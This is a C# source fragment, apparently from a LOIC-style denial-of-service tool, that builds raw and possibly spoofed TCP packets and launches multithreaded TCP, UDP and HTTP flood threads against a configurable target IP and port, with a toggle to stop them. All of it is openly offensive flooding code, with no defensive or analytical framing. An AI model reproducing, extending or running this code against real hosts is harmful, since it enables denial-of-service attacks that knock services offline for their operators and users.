private Packet CreatePacket() { return(TCPFlooder.BuildTcpPacket( Settings.SourceIP, Settings.TargetIP, Settings.SourcePort, Settings.TargetPort, flags, Settings.Payload, Settings.SourceMac, Settings.DestinationMac, Settings.ID, Settings.TTL, Settings.SequenceNumber, Settings.AcknoledgeNumber, Settings.WindowNumber )); }
private void Attack(bool toggle, bool on) { if ((btnAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true)) { try { CheckSettings(); } catch (Exception ex) { Log(ex.Message); return; } btnAttack.Text = "Stop flooding"; if (Settings.AttackType == AttackTypes.TcpFlood) { tcpFlooder = new TCPFlooder[Settings.NumThreads]; Packet packet = CreatePacket(); for (int a = 0; a < tcpFlooder.Length; a++) { tcpFlooder[a] = new TCPFlooder(packet, Settings.SelectedDevice, Settings.Delay); tcpFlooder[a].Start(); } } else if (Settings.AttackType == AttackTypes.UdpFlood) { udpFlooder = new XXPFlooder[Settings.NumThreads]; for (int a = 0; a < udpFlooder.Length; a++) { udpFlooder[a] = new XXPFlooder(Settings.TargetIP, Settings.TargetPort, Settings.AttackType, Settings.Delay, chkWaitReply.Checked, Settings.Payload, chkAllowRandom.Checked); udpFlooder[a].Start(); } } else if (Settings.AttackType == AttackTypes.HttpFlood) { httpFlooder = new HTTPFlooder[Settings.NumThreads]; for (int a = 0; a < httpFlooder.Length; a++) { httpFlooder[a] = new HTTPFlooder(Settings.TargetHost, Settings.TargetIP, Settings.TargetPort, Settings.RelativePath, chkWaitReply.Checked, Settings.Delay, Settings.Timeout, chkAllowRandom.Checked, chkAllowGzip.Checked); httpFlooder[a].Start(); } } tShowStats.Start(); } else { btnAttack.Text = "IMMA CHARGIN MAH LAZER"; if (tcpFlooder != null) { for (int a = 0; a < tcpFlooder.Length; a++) { tcpFlooder[a].IsFlooding = false; } } if (udpFlooder != null) { for (int a = 0; a < udpFlooder.Length; a++) { udpFlooder[a].IsFlooding = false; } } if (httpFlooder != null) { for (int a = 0; a < httpFlooder.Length; a++) { httpFlooder[a].IsFlooding = false; } } //tShowStats.Stop(); } }